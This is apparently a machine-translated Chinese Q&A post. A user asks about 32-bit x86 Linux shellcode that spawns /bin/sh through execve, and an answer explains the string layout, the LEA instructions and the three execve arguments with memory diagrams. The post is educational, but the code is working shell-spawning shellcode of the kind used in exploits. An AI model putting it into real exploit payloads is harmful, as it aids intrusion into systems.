请解释我的程序集Shellcode的缺失行。什么是EXECVE参数?
问题描述:
我知道它做了什么,但我真的很喜欢解释为什么?请解释我的程序集Shellcode的缺失行。什么是EXECVE参数?
SECTION .data
global _start
_start:
jmp j ;jump to 'j' label
r:
pop ebx ;Pop the address of 'shell' into EBX. Parameter is Filename
xor eax, eax ; clear EAX register
mov BYTE[ebx+7], al ;push one NUL byte to end any string reading
mov DWORD[ebx+8], ebx ;mov address of EBX into the content EBX (offset of 8)
mov DWORD[ebx+12], eax ;mov 4 NUL bytes at EBX (offset of 12)
mov al, 11d ;execve system call
lea ecx, [ebx+8] ; HELP
lea edx, [ebx+12] ; HELP
int 80h ;Kernel call
j: call r ;call r... pushes 'shell' address onto the stack
shell: db "/bin/sh" ;file name
具体来说,我想知道:
1)什么是execve的的3个参数(我已经看过了man 2 execve
并没有帮助)
2)究竟是什么LEA做这个案例?
答
您对mov DWORD[ebx+8], ebx
和mov DWORD[ebx+12], eax
的意见是错误的或至少是误导性的。
标签'shell'处的字节是'/ bin/sh',它使得7个字节,并且mov BYTE[ebx+7], al
终止这个字符串以空字节。
下一条语句mov DWORD[ebx+8], ebx
将ebx(它是指向shell的指针)的内容移动到shell后面的4个字节。
之后,mov DWORD[ebx+12], eax
将零移动到下4个字节。因此,我们有以下的存储器布局,其中bxbxbxbx
是这个存储器块的开始地址:
bx value=bx, points to /bin/sh
| ___________
v / \
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
|/| b | i | n |/| s | h |\0 |bx |bx |bx |bx | 0 | 0 | 0 | 0 |
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
两个LEA指令移动(BX + 8)和(BX + 12)的地址,以CX和dx,分别。你可以用MOV CX, BX; ADD CX, 8; MOV DX, BX; ADD DX,12
替换它们。
bx
|
v
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
|/| b | i | n |/| s | h |\0 |bx |bx |bx |bx | 0 | 0 | 0 | 0 |
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
^ ^
cx dx
现在,如果你看一下execvp:
第一个参数,在BX,是一个指向包含要执行的文件的名称的字符串。那是/bin/sh
。 cx中的第二个参数是一个指向要传递给程序以作为argv执行的字符串数组的指针。在这里,它由一个指向“/ bin/sh”的指针和一个NULL指针组成。 NULL指针用作数组终结符(参见execve docs),因为没有明确的数组长度。 dx中的第三个参数是指向新进程环境的指针 - 因为它是一个指向NULL指针的指针,新进程不会从您那里继承任何环境变量。
美丽的解释。 Upvoted和接受。 – Goodies